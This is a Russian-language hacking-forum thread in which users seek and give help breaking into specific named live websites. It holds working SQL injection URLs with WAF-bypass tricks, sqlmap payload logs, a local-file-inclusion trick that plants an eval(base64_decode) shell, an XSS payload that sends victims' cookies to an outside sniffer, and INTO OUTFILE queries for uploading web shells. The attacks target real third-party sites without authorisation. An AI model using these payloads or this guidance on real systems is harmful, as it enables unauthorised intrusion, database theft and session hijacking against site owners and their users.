Форум АНТИЧАТ - Ваши вопросы по уязвимостям.

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - Ваши вопросы по уязвимостям. (https://forum.antichat.xyz/showthread.php?t=424557)

Код:

Code:

http://tn.tomsk.ru/tv/index.php?day=2015-04-05&dt=&ch=1140

Можно что нибудь заинклудить тут?

Цитата:

Сообщение от Br@!ns

Br@!ns said:
↑

Код:

Code:

http://tn.tomsk.ru/tv/index.php?day=2015-04-05&dt=&ch=1140

Можно что нибудь заинклудить тут?

там не инкулд, там file_get_contents, а он читает содержимое файла в строку. но нет, прочитать тоже не выйдет, потому что у нас префикс в виде

Код:

Code:

http://tv.mail.ru/print_p.html

Код:

Code:

http://compassrecords.com/cart.php?action=add&id=4537%27

Помогите с выводом раскрутить

Цитата:

Сообщение от Br@!ns

Br@!ns said:
↑

Код:

Code: http://compassrecords.com/cart.php?action=add&id=4537%27

Помогите с выводом раскрутить

5.5.42-cll:compass_usrweb@localhost:compass_compass09:Lin ux

Парни, есть LFI на сайте, который позволяет читать /proc/self/environ

Ставлю в User-Agent простейший php код -сайт отдает 400 ошибку.

Что сделать можно?

Цитата:

Сообщение от sunnyfruit

sunnyfruit said:
↑
Парни, есть LFI на сайте, который позволяет читать /proc/self/environ
Ставлю в User-Agent простейший php код -сайт отдает 400 ошибку.
Что сделать можно?

через еррор_лог или ацес_лог пробовали?

/proc/self/environ

Через логи не пробовал.

Проканало когда я закодировал в base64 и отдал код как куки - енвайров их тоже читает

получилось что то типа eval(base64_decode($shell_str))

Нельзя как то по эстетичнее?

Цитата:

Сообщение от sunnyfruit

sunnyfruit said:
↑
/proc/self/environ
Через логи не пробовал.
Проканало когда я закодировал в base64 и отдал код как куки - енвайров их тоже читает
получилось что то типа eval(base64_decode($shell_str))
Нельзя как то по эстетичнее?

а зачем вам эстетика? лейте полноценный шелл и все. этот вариант тоже вполне эстетичный. не все сводится к

tvnetcitoyenne.com/journal.php?article=Тут_Инклуд_Прохо дит&phpsessid=98e322270e7ed6ec12ff0d0e9b66cf2a

Я не пойму как он фильтрует Юзер-Агент

не проходит даже

Цитата:

Сообщение от er9j6@

er9j6@ said:
↑

5.5.42-cll:compass_usrweb@localhost:compass_compass09:Lin ux

Отлично, а как теперь можете ссылку скинуть?)

http://store.1001host.ru/get/25'/3238264cd17791854de5

Кто подскажет, как раскрутить? Всё перепробовал... Готов заплатить за помощь.

Цитата:

Сообщение от AndreyBerkut

AndreyBerkut said:
↑
http://store.1001host.ru/get/
25'
/3238264cd17791854de5
Кто подскажет, как раскрутить? Всё перепробовал... Готов заплатить за помощь.

А вы уверены что там есть инъекция?

Цитата:

Сообщение от AndreyBerkut

Через error based

http://store.1001host.ru/get/25'or(...version(),1))a)and(1)='1/3238264cd17791854de5

Query failed: Duplicate column name'5.1.62-log'

faza02,ты мне скидывал сплойт

https://rdot.org/forum/showpost.php?...4&postcount=11

Я разобрал заголовки и у меня получился файл на 40 мб.

https://www.sendspace.com/file/7vxeod

Не пойму где передается имя временного файла.

Ответ сервера всегда одинаковый:

Цитата:

Сообщение от None

HTTP/1.1 200 OK
Date: Mon, 04 May 2015 16:57:13 GMT
Server: Apache/2.2.22 (Win32) mod_ssl/2.2.22 OpenSSL/1.0.1c PHP/5.3.13
X-Powered-By: PHP/5.3.13
Set-Cookie: test=1; expires=Mon, 04-May-2015 17:57:22 GMT
Set-Cookie: 544cb6f8c23f59b61b8b421497e50954=hn5alonm1ae2qesd4 sl9c9cc06; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8

То есть нигде имя временного файла не передается. Что не так?

имя

Цитата:

Сообщение от sunnyfruit

sunnyfruit said:
↑
faza02,
ты мне скидывал сплойт
https://rdot.org/forum/showpost.php?...4&postcount=11
Я разобрал заголовки и у меня получился файл на 40 мб.
https://www.sendspace.com/file/7vxeod
Не пойму где передается имя временного файла.
Ответ сервера всегда одинаковый:
То есть нигде имя временного файла не передается. Что не так?

имя временного файла в есть в phpinfo();

вот строка из сплоента:

Код:

Code:

if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {

Цитата:

Сообщение от faza02

faza02 said:
↑
имя
имя временного файла в есть в phpinfo();
вот строка из сплоента:

Код:

Code:

if ($line =~ m#tmp_name].+(/tmp/php.+)$#) {

Пробовал тут:

https://autopaymentfinder.com/phpinfo.php

И на тестовом сайте денвера файл с phpinfo.

Тоже-самое

Ребят подскажите пожалуйста

Расковырял скулю ,меп выдает

[16:45:55] [INFO] the back-end DBMS is Microsoft SQL Server

web application technology: ColdFusion

back-end DBMS: Microsoft SQL Server 2008

И находит 20+ бд

При этом ,при запросе таблиц от туда ,выходит месага

[16:46:42] [WARNING] the SQL query provided does not return any output

[16:46:43] [WARNING] the SQL query provided does not return any output

[16:46:44] [WARNING] the SQL query provided does not return any output

[16:46:45] [WARNING] the SQL query provided does not return any output

[16:46:46] [WARNING] the SQL query provided does not return any output

[16:46:47] [WARNING] the SQL query provided does not return any output

Тобишь ,ни одну бд он не открыл .

Есть способы обхода ?

Цитата:

Сообщение от Xsite

Xsite said:
↑
Ребят подскажите пожалуйста
Расковырял скулю ,меп выдает
[16:45:55] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: ColdFusion
back-end DBMS: Microsoft SQL Server 2008
И находит 20+ бд
При этом ,при запросе таблиц от туда ,выходит месага
[16:46:42] [WARNING] the SQL query provided does not return any output
[16:46:43] [WARNING] the SQL query provided does not return any output
[16:46:44] [WARNING] the SQL query provided does not return any output
[16:46:45] [WARNING] the SQL query provided does not return any output
[16:46:46] [WARNING] the SQL query provided does not return any output
[16:46:47] [WARNING] the SQL query provided does not return any output
Тобишь ,ни одну бд он не открыл .
Есть способы обхода ?

какие пути обхода? обход чего? кто должен угадывать, почему нет вывода?

пишите сюда запросы, ошибки и все, что может пригодится для того, чтобы не угадывать, в чем у вас проблема

Цитата:

Сообщение от faza02

faza02 said:
↑
какие пути обхода? обход чего? кто должен угадывать, почему нет вывода?
пишите сюда запросы, ошибки и все, что может пригодится для того, чтобы не угадывать, в чем у вас проблема

Сори ,надо сразу было выложить )

Обычная ерор базед

Вывод при -v 3

[18:06:26] [PAYLOAD] bnzg=5979 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries

Payload: http://www.igxe.com:80/Product/produ...8&sid=1;SELECT (CASE WHEN (2447=2447) THEN 1 ELSE 2447*(SELECT 2447 FROM master..sys

databases) END)--&curc=2&pid=3223&tid=1&deliverytype=3

Vector: ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)--

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

Payload: http://www.igxe.com:80/Product/produ...eid=2338&sid=1 AND 2368=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(11

3)+(SELECT (CASE WHEN (2368=2368) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR (113)))&curc=2&pid=3223&tid=1&delivery

type=3

Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

---

[18:06:30] [INFO] the back-end DBMS is Microsoft SQL Server

web application technology: ColdFusion

back-end DBMS: Microsoft SQL Server 2008

[18:06:30] [INFO] fetching tables for database: IGXEUSA

[18:06:30] [PAYLOAD] 1 AND 2254=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+ (SELECT ISNULL(CAST(COUNT(IGXEUSA..sysusers.name

+CHAR(46)+IGXEUSA..sysobjects.name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects INNER JOIN IGXEUSA..sysusers ON IGXEUSA..sysobjects.uid = IG

XEUSA..sysusers.uid WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118)))+CHAR(113)+CHAR(113)+CHAR(12 2)+CHAR(120)+CHAR(113)))

[18:06:31] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:31] [WARNING] the SQL query provided does not return any output

[18:06:31] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'

[18:06:31] [PAYLOAD] 1 AND 7553=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+ (SELECT ISNULL(CAST(COUNT(table_schema+CHAR(46)+

table_name) AS NVARCHAR(4000)),CHAR(32)) FROM information_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR

(65))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR (113)))

[18:06:32] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:32] [WARNING] the SQL query provided does not return any output

[18:06:32] [WARNING] the SQL query provided does not return any output

[18:06:32] [INFO] fetching number of tables for database 'IGXEUSA'

[18:06:32] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[18:06:32] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>51) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:33] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:33] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>48) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:34] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:34] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>1) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:36] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:36] [INFO] retrieved:

[18:06:36] [DEBUG] performed 3 queries in 3.26 seconds

[18:06:36] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>51) THEN 1 ELSE 3827*(SELECT 3827 FROM m

aster..sysdatabases) END)--

[18:06:37] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:37] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>48) THEN 1 ELSE 3827*(SELECT 3827 FROM m

aster..sysdatabases) END)--

[18:06:38] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:38] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>1) THEN 1 ELSE 3827*(SELECT 3827 FROM ma

ster..sysdatabases) END)--

[18:06:39] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:39] [INFO] retrieved:

[18:06:39] [DEBUG] performed 3 queries in 3.48 seconds

[18:06:39] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>51) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:41] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:41] [WARNING] reflective value(s) found and filtering out

[18:06:41] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>48) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:42] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:42] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>1) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:44] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:44] [INFO] retrieved:

[18:06:44] [DEBUG] performed 3 queries in 4.97 seconds

[18:06:44] [WARNING] unable to retrieve the number of tables for database 'IGXEUSA'

[18:06:44] [CRITICAL] unable to retrieve the tables for any database

[18:06:44] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 11 times

Цитата:

Сообщение от Xsite

Xsite said:
↑
Сори ,надо сразу было выложить )
Обычная ерор базед
Вывод при -v 3

так как там большинство таблиц с длинным именем, и чтобы их вытащить нужно пользоваться функцией CHAR(), получается довольно длинный GET запрос. например, таблица NEWGXE_AppraisePersonComment:

Код:

Code:

http://www.igxe.com/Product/product.cfm?gameid=2338&sid=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME>CHAR(78)%2bCHAR(69)%2bCHAR(87)%2bCHAR(71)%2bCHAR(88)%2bCHAR(69)%2bCHAR(95)%2bCHAR(65)%2bCHAR(112)%2bCHAR(112)%2bCHAR(114)%2bCHAR(97)%2bCHAR(105)%2bCHAR(115)%2bCHAR(101)%2bCHAR(80)%2bCHAR(101)%2bCHAR(114)%2bCHAR(115)%2bCHAR(111)%2bCHAR(110)%2bCHAR(67)%2bCHAR(111)%2bCHAR(109)%2bCHAR(109)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116))--&curc=2&pid=3223&tid=1&delivery%20type=3

вываливается то 500 ошибка, то Security: The requested template has been denied access

но если есть желание покрутить руками, то вот:

Код:

Code:

http://www.igxe.com/Product/product.cfm?gameid=2338&sid=1+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name+like+(SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+1+table_name+FROM+information_schema.tables)))--&pid=3223

или так:

Код:

Code:

http://www.igxe.com/Product/product.cfm?gameid=2338&sid=1+or+1=(SeLect+max(table_name)+from+(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+(select+top+2+table_name+from+information_schema.tables+order+by+table_name)+order+by+table_name)a)--&pid=3223

больше информации: https://rdot.org/forum/showthread.php?t=826

Цитата:

Сообщение от Br@!ns

Br@!ns said:
↑
Отлично, а как теперь можете ссылку скинуть?)

Код:

Code:

http://compassrecords.com/xml/songlist.xml.php?id=888%27+div+0+/*!12345union*/+/*!select*/+1,2,3,4,5,6,VERSION/*!12345()*/,8,9,10,11,12,13,14,15--+

жесткий WAF, пока не придумал, как обойти на FROM

Цитата:

Сообщение от sunnyfruit

sunnyfruit said:
↑
tvnetcitoyenne.com/journal.php?article=Тут_Инклуд_Прохо дит&phpsessid=98e322270e7ed6ec12ff0d0e9b66cf2a
Я не пойму как он фильтрует Юзер-Агент

фильтрует его WAF, запрещает использовать в юзер-агенте эти символы:

Есть пассивная XSS, читаем куки ">alert(document.cookie) - без вопросов, но когда я подставляю сниффер - куки не приходят.

http://site.ru/?=">(new+image()).src="sniffer.url"document.cookieу же ажрес сниффер через ЧарКод пропускал - нефига ..

Цитата:

Сообщение от Unknowhacker

Unknowhacker said:
↑
Есть пассивная XSS, читаем куки ">alert(document.cookie) - без вопросов, но когда я подставляю сниффер - куки не приходят.
http://site.ru/?=
">(new+image()).src="sniffer.url"document.cookieу же ажрес сниффер через ЧарКод пропускал - нефига ..

нефига, потому что синтаксис кривой: (new image()).src="sniffer.url"+document.cookie

там должен быть реальный плюс, если это гет параметр, то нужно его заурленкодить, то есть %2b. а между new Image (Image с большой буквы) должен быть реальный пробел, то есть %20

как можно заменить в функции /*!12345select*/ знаки '/' и '*', как вообще работает это все?

И еще один вопрос. Можно ли использовть запрос в подзапросе вида: select user_id from(select table_name from information_schema.tables limit 48,1), в целях обхода на фильтр слова в url строке?

Цитата:

Сообщение от Br@!ns

Br@!ns said:
↑
как можно заменить в функции /*!12345select*/ знаки '/' и '*', как вообще работает это все?

это комментарии в mysql. работает потому что есть символ воскл. знака.

Цитата:

Сообщение от None

когда стоит восклицательный знак и номер версии, то содержимое комментария исполняется, если номер версии равен или больше указанного

тут можно посмотреть еще на возможные варианты: http://websec.ca/kb/sql_injection#MySQL_Specific_Code

Собственно вопрос, имеется сайт:

.SpoilerTarget" type="button">Spoiler: URL
http://old.[antigoogle]metallprofil.ru/e_mag/'
Выдает:

Код:

Code:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 6

Не получается раскрутить sql-injection, есть варианты?

Цитата:

Сообщение от xxl

xxl said:
↑
ой... как же вы мне помогли...

Цитата:

Сообщение от kacergei

kacergei said:
↑
Собственно вопрос, имеется сайт:
Spoiler: URL
http://old.[antigoogle]metallprofil.ru/e_mag/'
Выдает:

Код:

Code:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 6

Не получается раскрутить sql-injection, есть варианты?

Код:

Code:

http://old.metallprofil.ru/e_mag/'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)='1

Цитата:

Сообщение от faza02

faza02 said:
↑

Код:

Code:

http://old.metallprofil.ru/e_mag/'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)='1

а как заставить sqlmap пробить?

Цитата:

Сообщение от kacergei

kacergei said:
↑
а как заставить sqlmap пробить?

боюсь, что никак. у вас там не много запросов получится, если выводить с group_concat()

Цитата:

Сообщение от vikler

vikler said:
↑
Есть сайт MsSQLi. В общем, при раскрутке уязвимого параметра получаем редирект на другую страницу, где в url'е имеем: ".../ErrorHandling/FriendlyError.html?message=..."
В message="..." имеем стандартную MsSQL инъекцию (стандартный вывод ошибки)
В общем:

Код:

Code:

http://www.heritage{GOOGLE}-images.com/Search/SearchPage.aspx?searchterm=1970s&lictype=all&searchtype=KEY&orientation=YYYY&color=ALL&rmCollections=(Select%20top%201%20table_name%20from%20information_schema.tables)

Но получается нет таблицы для юзеров что ли? Я вроде как все просмотрела таблицы. ххмммм. Я что не так поняла м.б.?

если посмотрела все таблицы этой бд и не нашла то наверно ее просто нет, если есть другие бд посмотри их

Код HTML:

HTML:

http://www.theatremunicipal-tunis.gov.tn/fiche_spectacle.php?id=53

Полей вроде 6-ть, а дальше чей-то ни как...

Цитата:

Сообщение от frank

frank said:
↑

Код HTML:

HTML:

http://www.theatremunicipal-tunis.gov.tn/fiche_spectacle.php?id=53

Полей вроде 6-ть, а дальше чей-то ни как...

Код:

Code:

http://www.theatremunicipal-tunis.gov.tn/fiche_spectacle.php?id=54 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+

Есть сайт где в случае использование union, либо select в sqli вылезает 403 ошибка.

Иногда помогает замена на /*!uNIoN*/+/*!SElECT*/

Вопрос такой: если работает указанная конструкция на некотором сайте - будет ли работать она там же где работает обычный union select?

Цитата:

Сообщение от sunnyfruit

sunnyfruit said:
↑
Есть сайт где в случае использование union, либо select в sqli вылезает 403 ошибка.
Иногда помогает замена на
/*!uNIoN*/+/*!SElECT*/
Вопрос такой: если работает указанная конструкция на некотором сайте - будет ли работать она там же где работает обычный union select?

да. это синтаксис mysql

Посоветуйте эксплойты для удаленного выполнения, а то пробыю и под Apache и ProFTPD ничего не выходит((

Код:

Code:

Not shown: 997 filtered ports

PORT  STATE SERVICE VERSION

21/tcp  open  ftp  ProFTPD 1.3.3

80/tcp  open  http  Apache httpd 2.2.15 ((Mandriva Linux/PREFORK-3mdv2010.1))

2222/tcp open  ssh  OpenSSH 5.5 (protocol 2.0)

Service Info: OS: Unix

И попутно какие есть уязвимости в yii frameworke 1.1.13?

Реально ли залить шелл через sqli file_priv = y, если она имеет тип error_based, либо blind. имеется ввиду не приводя инъекцию к обычному union виду

Цитата:

Сообщение от sunnyfruit

sunnyfruit said:
↑
Реально ли залить шелл через sqli file_priv = y, если она имеет тип error_based, либо blind. имеется ввиду не приводя инъекцию к обычному union виду

Для Error-Based есть такой вектор:

Цитата:

Сообщение от None

select username from users where username=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select 1 into outfile '/usr/home/www/test.php' lines terminated by ""),floor(rand(0)*2)))

Для Union Based заливаете как есть, несмотря на отсутствие вывода. Проверяете залился ли файл командами

select if(load_file('/tmp/shell.php') is not null,1,2)=1 TRUE Файл существут

select if(load_file('/tmp/shell.php') is not null,1,2)=1 FALSE Файла нет

Цитата:

Сообщение от BigBear

BigBear said:
↑
Для Error-Based есть такой вектор:
Для Union Based заливаете как есть, несмотря на отсутствие вывода. Проверяете залился ли файл командами
select if(load_file('/tmp/shell.php') is not null,1,2)=1 TRUE Файл существут
select if(load_file('/tmp/shell.php') is not null,1,2)=1 FALSE Файла нет

Создал на Денвере таблицу users где есть id и username

Пишет ошибку:

Цитата:

Сообщение от None

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile '/usr/home/www/test.php' lines terminated by ""),floo' at line 1

Сам запрос:

Цитата:

Сообщение от None

select username from users where id>0 or (select count(*) from (select 1 union select 2 union select 3)x group by concat((select 1 into outfile '/usr/home/www/test.php' lines terminated by ''),floor(rand(0)*2)))

Где почитать можно подробнее?

Mysql символ " не совсем хорошо понимает!